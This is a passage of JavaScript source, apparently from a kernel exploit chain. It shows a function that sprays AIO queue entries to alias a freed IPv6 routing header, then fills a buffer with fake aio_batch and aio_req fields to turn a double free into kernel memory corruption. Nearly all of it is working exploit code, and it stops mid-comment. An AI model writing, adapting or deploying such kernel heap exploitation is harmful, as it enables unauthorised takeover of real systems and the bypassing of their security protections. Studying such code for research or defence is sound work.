(
reqs1_addr, kbuf_addr, target_id, evf, sd, sds,
)
| 1012 | } |
| 1013 | |
| 1014 | function double_free_reqs1( |
| 1015 | reqs1_addr, kbuf_addr, target_id, evf, sd, sds, |
| 1016 | ) { |
| 1017 | const max_leak_len = (0xff + 1) << 3; |
| 1018 | const buf = new Buffer(max_leak_len); |
| 1019 | |
| 1020 | const num_elems = max_aio_ids; |
| 1021 | const aio_reqs = make_reqs1(num_elems); |
| 1022 | const aio_reqs_p = aio_reqs.addr; |
| 1023 | |
| 1024 | const num_batches = 2; |
| 1025 | const aio_ids_len = num_batches * num_elems; |
| 1026 | const aio_ids = new View4(aio_ids_len); |
| 1027 | const aio_ids_p = aio_ids.addr; |
| 1028 | |
| 1029 | log('start overwrite rthdr with AIO queue entry loop'); |
| 1030 | let aio_not_found = true; |
| 1031 | free_evf(evf); |
| 1032 | for (let i = 0; i < num_clobbers; i++) { |
| 1033 | spray_aio(num_batches, aio_reqs_p, num_elems, aio_ids_p); |
| 1034 | |
| 1035 | if (get_rthdr(sd, buf) === 8 && buf.read32(0) === AIO_CMD_READ) { |
| 1036 | log(`aliased at attempt: ${i}`); |
| 1037 | aio_not_found = false; |
| 1038 | cancel_aios(aio_ids_p, aio_ids_len); |
| 1039 | break; |
| 1040 | } |
| 1041 | |
| 1042 | free_aios(aio_ids_p, aio_ids_len); |
| 1043 | } |
| 1044 | if (aio_not_found) { |
| 1045 | die('failed to overwrite rthdr'); |
| 1046 | } |
| 1047 | |
| 1048 | const reqs2 = new Buffer(0x80); |
| 1049 | const rsize = build_rthdr(reqs2, reqs2.size); |
| 1050 | // .ar2_ticket |
| 1051 | reqs2.write32(4, 5); |
| 1052 | // .ar2_info |
| 1053 | reqs2.write64(0x18, reqs1_addr); |
| 1054 | // craft a aio_batch using the end portion of the buffer |
| 1055 | const reqs3_off = 0x28; |
| 1056 | // .ar2_batch |
| 1057 | reqs2.write64(0x20, kbuf_addr.add(reqs3_off)); |
| 1058 | |
| 1059 | // [.ar3_num_reqs, .ar3_reqs_left] aliases .ar2_spinfo |
| 1060 | // safe since free_queue_entry() doesn't deref the pointer |
| 1061 | reqs2.write32(reqs3_off, 1); |
| 1062 | reqs2.write32(reqs3_off + 4, 0); |
| 1063 | // [.ar3_state, .ar3_done] aliases .ar2_result.returnValue |
| 1064 | reqs2.write32(reqs3_off + 8, AIO_STATE_COMPLETE); |
| 1065 | reqs2[reqs3_off + 0xc] = 0; |
| 1066 | // .ar3_lock aliases .ar2_qentry (rest of the buffer is padding) |
| 1067 | // safe since the entry already got dequeued |
| 1068 | // |
| 1069 | // .ar3_lock.lock_object.lo_flags = ( |
| 1070 | // LO_SLEEPABLE | LO_UPGRADABLE |
| 1071 | // | LO_RECURSABLE | LO_DUPOK | LO_WITNESS |
no test coverage detected